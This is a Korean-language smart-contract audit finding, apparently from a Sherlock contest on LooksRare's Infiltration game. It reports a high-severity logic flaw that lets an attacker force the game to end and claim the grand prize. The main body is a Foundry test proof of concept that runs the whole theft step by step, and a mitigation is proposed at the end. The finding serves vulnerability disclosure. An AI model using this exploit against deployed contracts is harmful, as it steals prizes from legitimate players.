sherlock-2023-10-looksrare-h03

[H-03] Attacker can steal reward of actual winner by force ending the game

보고서

Summary

악의적인 사용자가 부상당한 에이전트 한 명을 제외한 모든 에이전트를 탈출시켜, 다른 Active 에이전트가 있음에도 게임에서 강제로 승리하고 리워드를 훔칠 수 있다.

Keyword

theft, logic flaw, gamefi

Vulnerability

다음과 같은 시나리오가 가능하다.

  1. 공격자가 agents에서 인덱스가 낮은 에이전트와 높은 에이전트를 소유하고 있다.
  2. 공격자 에이전트 사이에 인덱스가 있는 에이전트를 소유한 일반 유저가 있다.
  3. 인덱스가 낮은 공격자 에이전트가 부상을 입으면, 다른 모든 에이전트를 탈출시키고 즉시 게임에서 승리할 수 있다. (다른 유저가 아직 한 명의 활성 상태의 에이전트를 보유하고 있음에도)

예를 들어 공격자가 60명의 에이전트를 소유하고 일반 유저가 1명의 에이전트를 소유하는 상황을 생각해보자. 공격자의 에이전트 중 하나가 부상을 입었을 때, 나머지 에이전트를 전부 탈출시킨다. Active 상태의 에이전트는 1명만 남으며, 이는 일반 유저의 소유이다. 하지만 더 앞쪽 인덱스에 있던 부상당한 에이전트가 1번 인덱스로 스왑되므로, 1위로 판정된다.

다음은 PoC 코드이다. Infiltration.mint.t.sol 에 추가하면 된다.

function test_forceWin() public {
    address attacker = address(1337);
 
    //prefund attacker and user1
    vm.deal(user1, PRICE * MAX_MINT_PER_ADDRESS);
    vm.deal(attacker, PRICE * MAX_MINT_PER_ADDRESS);
 
    // MINT some agents
    vm.warp(_mintStart());
    // attacker wants to make sure he owns a bunch of agents with low IDs!!
    vm.prank(attacker);
    infiltration.mint{value: PRICE * 30}({quantity: 30});
    // For simplicity we mint only 1 agent to user 1 here, but it could be more, they could get wounded, etc.
    vm.prank(user1);
    infiltration.mint{value: PRICE *1}({quantity: 1});
    //Attacker also wants a bunch of agents with the highest IDs, as they are getting swapped with the killed agents (move forward)
    vm.prank(attacker);
    infiltration.mint{value: PRICE * 30}({quantity: 30});
 
    vm.warp(_mintEnd());
 
    //start the game
    vm.prank(owner);
    infiltration.startGame();
 
    vm.prank(VRF_COORDINATOR);
    uint256[] memory randomWords = new uint256[](1);
    randomWords[0] = 69_420;
    VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(_computeVrfRequestId(1), randomWords);
    // Now we are in round 2 we do have 1 wounded agent (but we can imagine any of our agent got wounded, doesn´t really matter)
    
    // we know with our HARDCODED RANDOMNESS THAT AGENT 3 gets wounded!!
 
    // Whenever we get in a situation, that we own all active agents, but 1 and our agent has a lower index we can instant win the game!!
    // This is done by escaping all agents, at once, except the lowest index
    uint256[] memory escapeIds = new uint256[](59);
    escapeIds[0] = 1;
    escapeIds[1] = 2;
    uint256 i = 4; //Scipping our wounded AGENT 3
    for(; i < 31;) {
        escapeIds[i-2] = i;
        unchecked {++i;}
    }
    //skipping 31 as this owned by user1
    unchecked {++i;}
    for(; i < 62;) {
        escapeIds[i-3] = i;
        unchecked {++i;}
    }
    vm.prank(attacker);
    infiltration.escape(escapeIds);
 
    (uint16 activeAgents, uint16 woundedAgents, , uint16 deadAgents, , , , , , , ) = infiltration.gameInfo();
    console.log("Active", activeAgents);
    assertEq(activeAgents, 1);
    // This will end the game instantly.
    //owner should not be able to start new round
    vm.roll(block.number + BLOCKS_PER_ROUND);
    vm.prank(owner);
    vm.expectRevert();
    infiltration.startNewRound();
 
    //Okay so the game is over, makes sense!
    // Now user1 has the only active AGENT, so he should claim the grand prize!
    // BUT user1 cannot
    vm.expectRevert(IInfiltration.NotAgentOwner.selector);
    vm.prank(user1);
    infiltration.claimGrandPrize();
 
    //instead the attacker can:
    vm.prank(attacker);
    infiltration.claimGrandPrize();
}     

Impact

공격자가 게임을 강제로 종료하여 실제 승자의 상금을 훔칠 수 있다.

Mitigation

게임이 종료되기 전에 새 라운드를 시작하여 부상당한 요원을 모두 사망처리 하고 agents 배열을 업데이트 한다.


tags: bughunting, looksrare, smart contract, solidity, gamefi, nft, crypto theft, logic flaw, severity high